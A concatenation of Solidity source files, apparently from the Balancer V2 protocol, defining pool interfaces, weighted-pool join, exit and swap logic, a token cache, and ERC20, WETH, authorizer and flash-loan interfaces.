// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `balances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `balances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
function getPoolId() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
import "@balancer-labs/v2-pool-utils/contracts/BaseMinimalSwapInfoPool.sol";
import "./WeightedMath.sol";
import "./WeightedPoolUserDataHelpers.sol";
/**
* @dev Base class for WeightedPools containing swap, join and exit logic, but leaving storage and management of
* the weights to subclasses. Derived contracts can choose to make weights immutable, mutable, or even dynamic
* based on local or external logic.
*/
abstract contract BaseWeightedPool is BaseMinimalSwapInfoPool {
using FixedPoint for uint256;
using WeightedPoolUserDataHelpers for bytes;
uint256 private _lastInvariant;
// For backwards compatibility, make sure new join and exit kinds are added at the end of the enum.
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT, ALL_TOKENS_IN_FOR_EXACT_BPT_OUT }
enum ExitKind {
EXACT_BPT_IN_FOR_ONE_TOKEN_OUT,
EXACT_BPT_IN_FOR_TOKENS_OUT,
BPT_IN_FOR_EXACT_TOKENS_OUT,
MANAGEMENT_FEE_TOKENS_OUT // for InvestmentPool
}
constructor(
IVault vault,
string memory name,
string memory symbol,
IERC20[] memory tokens,
address[] memory assetManagers,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
BasePool(
vault,
// Given BaseMinimalSwapInfoPool supports both of these specializations, and this Pool never registers or
// deregisters any tokens after construction, picking Two Token when the Pool only has two tokens is free
// gas savings.
tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO,
name,
symbol,
tokens,
assetManagers,
swapFeePercentage,
pauseWindowDuration,
bufferPeriodDuration,
owner
)
{
// solhint-disable-previous-line no-empty-blocks
}
// Virtual functions
/**
* @dev Returns the normalized weight of `token`. Weights are fixed point numbers that sum to FixedPoint.ONE.
*/
function _getNormalizedWeight(IERC20 token) internal view virtual returns (uint256);
/**
* @dev Returns all normalized weights, in the same order as the Pool's tokens.
*/
function _getNormalizedWeights() internal view virtual returns (uint256[] memory);
/**
* @dev Returns all normalized weights, in the same order as the Pool's tokens, along with the index of the token
* with the highest weight.
*/
function _getNormalizedWeightsAndMaxWeightIndex() internal view virtual returns (uint256[] memory, uint256);
function getLastInvariant() public view virtual returns (uint256) {
return _lastInvariant;
}
/**
* @dev Returns the current value of the invariant.
*/
function getInvariant() public view returns (uint256) {
(, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId());
// Since the Pool hooks always work with upscaled balances, we manually
// upscale here for consistency
_upscaleArray(balances, _scalingFactors());
(uint256[] memory normalizedWeights, ) = _getNormalizedWeightsAndMaxWeightIndex();
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
function getNormalizedWeights() external view returns (uint256[] memory) {
return _getNormalizedWeights();
}
// Base Pool handlers
// Swap
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view virtual override whenNotPaused returns (uint256) {
// Swaps are disabled while the contract is paused.
return
WeightedMath._calcOutGivenIn(
currentBalanceTokenIn,
_getNormalizedWeight(swapRequest.tokenIn),
currentBalanceTokenOut,
_getNormalizedWeight(swapRequest.tokenOut),
swapRequest.amount
);
}
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view virtual override whenNotPaused returns (uint256) {
// Swaps are disabled while the contract is paused.
return
WeightedMath._calcInGivenOut(
currentBalanceTokenIn,
_getNormalizedWeight(swapRequest.tokenIn),
currentBalanceTokenOut,
_getNormalizedWeight(swapRequest.tokenOut),
swapRequest.amount
);
}
// Initialize
function _onInitializePool(
bytes32,
address,
address,
uint256[] memory scalingFactors,
bytes memory userData
) internal virtual override whenNotPaused returns (uint256, uint256[] memory) {
// It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent
// initialization in this case.
JoinKind kind = userData.joinKind();
_require(kind == JoinKind.INIT, Errors.UNINITIALIZED);
uint256[] memory amountsIn = userData.initialAmountsIn();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, scalingFactors);
(uint256[] memory normalizedWeights, ) = _getNormalizedWeightsAndMaxWeightIndex();
uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn);
// Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more
// consistent in Pools with similar compositions but different number of tokens.
uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens());
_lastInvariant = invariantAfterJoin;
return (bptAmountOut, amountsIn);
}
// Join
function _onJoinPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
override
whenNotPaused
returns (
uint256,
uint256[] memory,
uint256[] memory
)
{
// All joins are disabled while the contract is paused.
(uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) = _getNormalizedWeightsAndMaxWeightIndex();
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join
// or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas
// computing them on each individual swap
uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances);
uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(
balances,
normalizedWeights,
maxWeightTokenIndex,
_lastInvariant,
invariantBeforeJoin,
protocolSwapFeePercentage
);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
(uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(
balances,
normalizedWeights,
scalingFactors,
userData
);
// Update the invariant with the balances the Pool will have after the join, in order to compute the
// protocol swap fee amounts due in future joins and exits.
_lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights);
return (bptAmountOut, amountsIn, dueProtocolFeeAmounts);
}
function _doJoin(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) internal returns (uint256, uint256[] memory) {
JoinKind kind = userData.joinKind();
if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) {
return _joinExactTokensInForBPTOut(balances, normalizedWeights, scalingFactors, userData);
} else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) {
return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData);
} else if (kind == JoinKind.ALL_TOKENS_IN_FOR_EXACT_BPT_OUT) {
return _joinAllTokensInForExactBPTOut(balances, userData);
} else {
_revert(Errors.UNHANDLED_JOIN_KIND);
}
}
function _joinExactTokensInForBPTOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) private returns (uint256, uint256[] memory) {
(uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, scalingFactors);
(uint256 bptAmountOut, uint256[] memory swapFees) = WeightedMath._calcBptOutGivenExactTokensIn(
balances,
normalizedWeights,
amountsIn,
totalSupply(),
getSwapFeePercentage()
);
// Note that swapFees is already upscaled
_processSwapFeeAmounts(swapFees);
_require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT);
return (bptAmountOut, amountsIn);
}
function _joinTokenInForExactBPTOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private returns (uint256, uint256[] memory) {
(uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut();
// Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
(uint256 amountIn, uint256 swapFee) = WeightedMath._calcTokenInGivenExactBptOut(
balances[tokenIndex],
normalizedWeights[tokenIndex],
bptAmountOut,
totalSupply(),
getSwapFeePercentage()
);
// Note that swapFee is already upscaled
_processSwapFeeAmount(tokenIndex, swapFee);
// We join in a single token, so we initialize amountsIn with zeros
uint256[] memory amountsIn = new uint256[](_getTotalTokens());
// And then assign the result to the selected token
amountsIn[tokenIndex] = amountIn;
return (bptAmountOut, amountsIn);
}
function _joinAllTokensInForExactBPTOut(uint256[] memory balances, bytes memory userData)
private
view
returns (uint256, uint256[] memory)
{
uint256 bptAmountOut = userData.allTokensInForExactBptOut();
// Note that there is no maximum amountsIn parameter: this is handled by `IVault.joinPool`.
uint256[] memory amountsIn = WeightedMath._calcAllTokensInGivenExactBptOut(
balances,
bptAmountOut,
totalSupply()
);
return (bptAmountOut, amountsIn);
}
// Exit
function _onExitPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
override
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
)
{
(uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) = _getNormalizedWeightsAndMaxWeightIndex();
// Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens
// out) remain functional.
if (_isNotPaused()) {
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous
// join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids
// spending gas calculating the fees on each individual swap.
uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances);
dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(
balances,
normalizedWeights,
maxWeightTokenIndex,
_lastInvariant,
invariantBeforeExit,
protocolSwapFeePercentage
);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
} else {
// If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and
// reduce the potential for errors.
dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
}
(bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, scalingFactors, userData);
// Update the invariant with the balances the Pool will have after the exit, in order to compute the
// protocol swap fees due in future joins and exits.
_lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights);
return (bptAmountIn, amountsOut, dueProtocolFeeAmounts);
}
function _doExit(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) internal returns (uint256, uint256[] memory) {
ExitKind kind = userData.exitKind();
if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) {
return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData);
} else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) {
return _exitExactBPTInForTokensOut(balances, userData);
} else if (kind == ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT) {
return _exitBPTInForExactTokensOut(balances, normalizedWeights, scalingFactors, userData);
} else {
_revert(Errors.UNHANDLED_EXIT_KIND);
}
}
function _exitExactBPTInForTokenOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
(uint256 amountOut, uint256 swapFee) = WeightedMath._calcTokenOutGivenExactBptIn(
balances[tokenIndex],
normalizedWeights[tokenIndex],
bptAmountIn,
totalSupply(),
getSwapFeePercentage()
);
// This is an exceptional situation in which the fee is charged on a token out instead of a token in.
// Note that swapFee is already upscaled.
_processSwapFeeAmount(tokenIndex, swapFee);
// We exit in a single token, so we initialize amountsOut with zeros
uint256[] memory amountsOut = new uint256[](_getTotalTokens());
// And then assign the result to the selected token
amountsOut[tokenIndex] = amountOut;
return (bptAmountIn, amountsOut);
}
function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData)
private
view
returns (uint256, uint256[] memory)
{
// This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted
// in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency.
// This particular exit function is the only one that remains available because it is the simplest one, and
// therefore the one with the lowest likelihood of errors.
uint256 bptAmountIn = userData.exactBptInForTokensOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply());
return (bptAmountIn, amountsOut);
}
function _exitBPTInForExactTokensOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) private whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut();
InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens());
_upscaleArray(amountsOut, scalingFactors);
(uint256 bptAmountIn, uint256[] memory swapFees) = WeightedMath._calcBptInGivenExactTokensOut(
balances,
normalizedWeights,
amountsOut,
totalSupply(),
getSwapFeePercentage()
);
_require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT);
// This is an exceptional situation in which the fee is charged on a token out instead of a token in.
// Note that swapFee is already upscaled.
_processSwapFeeAmounts(swapFees);
return (bptAmountIn, amountsOut);
}
// Helpers
function _getDueProtocolFeeAmounts(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256 maxWeightTokenIndex,
uint256 previousInvariant,
uint256 currentInvariant,
uint256 protocolSwapFeePercentage
) private view returns (uint256[] memory) {
// Initialize with zeros
uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
// Early return if the protocol swap fee percentage is zero, saving gas.
if (protocolSwapFeePercentage == 0) {
return dueProtocolFeeAmounts;
}
// The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the
// token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool.
dueProtocolFeeAmounts[maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount(
balances[maxWeightTokenIndex],
normalizedWeights[maxWeightTokenIndex],
previousInvariant,
currentInvariant,
protocolSwapFeePercentage
);
return dueProtocolFeeAmounts;
}
/**
* @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All
* amounts are expected to be upscaled.
*/
function _invariantAfterJoin(
uint256[] memory balances,
uint256[] memory amountsIn,
uint256[] memory normalizedWeights
) private view returns (uint256) {
_mutateAmounts(balances, amountsIn, FixedPoint.add);
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
function _invariantAfterExit(
uint256[] memory balances,
uint256[] memory amountsOut,
uint256[] memory normalizedWeights
) private view returns (uint256) {
_mutateAmounts(balances, amountsOut, FixedPoint.sub);
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
/**
* @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`.
*
* Equivalent to `amounts = amounts.map(mutation)`.
*/
function _mutateAmounts(
uint256[] memory toMutate,
uint256[] memory arguments,
function(uint256, uint256) pure returns (uint256) mutation
) private view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
toMutate[i] = mutation(toMutate[i], arguments[i]);
}
}
/**
* @dev This function returns the appreciation of one BPT relative to the
* underlying tokens. This starts at 1 when the pool is created and grows over time
*/
function getRate() public view returns (uint256) {
// The initial BPT supply is equal to the invariant times the number of tokens.
return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply());
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/EnumerableSet.sol";
contract PoolTokenCache {
using EnumerableSet for EnumerableSet.AddressSet;
IVault public immutable vault;
constructor(IVault _vault) {
vault = _vault;
}
mapping(bytes32 => EnumerableSet.AddressSet) private _poolTokenSets;
mapping(bytes32 => bool) private _poolTokenSetSaved;
function savePoolTokenSet(bytes32 poolId) public {
(IERC20[] memory poolTokens, , ) = vault.getPoolTokens(poolId);
if (_poolTokenSetSaved[poolId]) {
// Purge potentially stale cached data
uint256 numTokens = _poolTokenSets[poolId].length();
// Clear the set by removing the last element n times, which uses less gas than removing elements in any
// other order.
for (uint256 i = 0; i < numTokens; i++) {
uint256 lastIndex = numTokens - 1 - i;
address lastIndexAddress = _poolTokenSets[poolId].unchecked_at(lastIndex);
_poolTokenSets[poolId].remove(lastIndexAddress);
}
} else {
_poolTokenSetSaved[poolId] = true;
}
for (uint256 pt; pt < poolTokens.length; pt++) {
_poolTokenSets[poolId].add(address(poolTokens[pt]));
}
}
function ensurePoolTokenSetSaved(bytes32 poolId) public {
if (!_poolTokenSetSaved[poolId]) {
savePoolTokenSet(poolId);
}
}
modifier withPoolTokenSetSaved(bytes32 poolId) {
// create a set of the pool tokens if it doesn't exist
ensurePoolTokenSetSaved(poolId);
_;
}
function _getAssets(bytes32 poolId) internal view returns (IAsset[] memory assets) {
uint256 numTokens = poolTokensLength(poolId);
assets = new IAsset[](numTokens);
for (uint256 pt; pt < numTokens; pt++) {
assets[pt] = IAsset(_poolTokenSets[poolId].unchecked_at(pt));
}
}
function _poolTokenIndex(bytes32 poolId, address token) internal view returns (uint256) {
return _poolTokenSets[poolId].rawIndexOf(token);
}
function poolHasToken(bytes32 poolId, address token) public view returns (bool) {
return _poolTokenSets[poolId].contains(token);
}
function poolTokensLength(bytes32 poolId) public view returns (uint256) {
return _poolTokenSets[poolId].length();
}
function poolTokenAtIndex(bytes32 poolId, uint256 index) public view returns (address) {
return _poolTokenSets[poolId].at(index);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IDistributorCallback {
function distributorCallback(bytes calldata callbackData) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
/**
* @dev Interface for WETH9.
* See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
